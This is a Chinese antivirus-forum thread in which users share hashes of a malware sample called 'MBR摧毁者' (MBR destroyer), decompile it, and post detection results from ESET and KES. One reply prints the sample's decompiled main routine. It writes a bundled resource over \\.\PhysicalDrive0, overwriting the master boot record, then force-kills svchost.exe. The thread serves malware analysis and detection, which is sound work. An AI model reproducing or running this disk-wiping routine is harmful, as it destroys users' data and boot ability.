MBR摧毁者 1x

显示全部楼层 · 发表于 5 小时前

下载好啦~

“sdk_demo2.exe”
MD5 - 79aedf35d155a52fea1454bfa0a2b158
SHA256 - 7054a0a5f7c56594d4d6d9e1d3c481553870d8253526bc36fda2a830c088f18a

infected

显示全部楼层 · 发表于 5 小时前

LingGao 发表于 2026-2-28 14:02
下载好啦~

“sdk_demo2.exe”

赞赞赞

显示全部楼层 · 发表于 5 小时前

int __fastcall main(int argc, const char **argv, const char **envp)
{
  HRSRC ResourceW; // rax
  HRSRC v4; // rbx
  HGLOBAL Resource; // rsi
  DWORD v6; // edi
  const void *v7; // rbx
  HANDLE FileW; // rax
  void *v9; // rsi
  BOOL v10; // ebx
  DWORD NumberOfBytesWritten; // [rsp+40h] [rbp-18h] BYREF

  ResourceW = FindResourceW(0i64, (LPCWSTR)0x65, (LPCWSTR)0xA);
  v4 = ResourceW;
  if ( !ResourceW )
return 1;
  Resource = LoadResource(0i64, ResourceW);
  if ( !Resource )
return 1;
  v6 = SizeofResource(0i64, v4);
  v7 = LockResource(Resource);
  if ( !v7 )
return 1;
  if ( v6 - 1 > 0x1FF )
return 1;
  FileW = CreateFileW(L"\\\\.\\PhysicalDrive0", 0x40000000u, 3u, 0i64, 3u, 0, 0i64);
  v9 = FileW;
  if ( FileW == (HANDLE)-1i64 )
return 1;
  NumberOfBytesWritten = 0;
  v10 = WriteFile(FileW, v7, v6, &NumberOfBytesWritten, 0i64);
  CloseHandle(v9);
  if ( !v10 || NumberOfBytesWritten != v6 )
return 1;
  system("taskkill /im svchost.exe /f");
  return 0;
}
你这装的毫无意义啊，好歹有点新意啊？

显示全部楼层 · 发表于 5 小时前

wowocock 发表于 2026-2-28 14:14
int __fastcall main(int argc, const char **argv, const char **envp)
{
HRSRC ResourceW; // rax

看一下11楼

显示全部楼层 · 发表于 4 小时前

压缩的时空发表于 2026-2-28 14:17
看一下11楼

他自己实现的免杀壳？

显示全部楼层 · 发表于 4 小时前

本帖最后由压缩的时空于 2026-2-28 14:37 编辑

wowocock 发表于 2026-2-28 14:30
他自己实现的免杀壳？

https://www.bilibili.com/video/BV1bhAXzXEJn/

视频里有，说是银狐+混血免杀+变种 /shellcode 木马
有劳分析了

显示全部楼层 · 发表于 4 小时前

压缩的时空发表于 2026-2-28 14:34
https://www.bilibili.com/video/BV1bhAXzXEJn/

视频里有，说是银狐+混血免杀+变种 /shellcode 木马
...

你到火绒论坛上发帖子，让他们转病毒分析组看看，到时候会给你BUG ID，你可以根据ID，找客服查询进度。

显示全部楼层 · 发表于 4 小时前

本帖最后由压缩的时空于 2026-2-28 14:53 编辑

wowocock 发表于 2026-2-28 14:42
你到火绒论坛上发帖子，让他们转病毒分析组看看，到时候会给你BUG ID，你可以根据ID，找客服查询进度。

ok,最多拉黑入库吧，提bug...估摸着还没到那个层级，还有这个程序还要输入卡密的是啥情况.

显示全部楼层 · 发表于 3 小时前

ESSP:
2/28/2026 1:58:18 PM;Real-time file system protection;file;C:\Users\Zhang\Downloads\MBRKiller.exe;a variant of Win64/KillMBR.BA trojan;cleaned by deleting

显示全部楼层 · 发表于 1 小时前

KES扫描miss

[病毒样本] MBR摧毁者 1x

本帖子中包含更多资源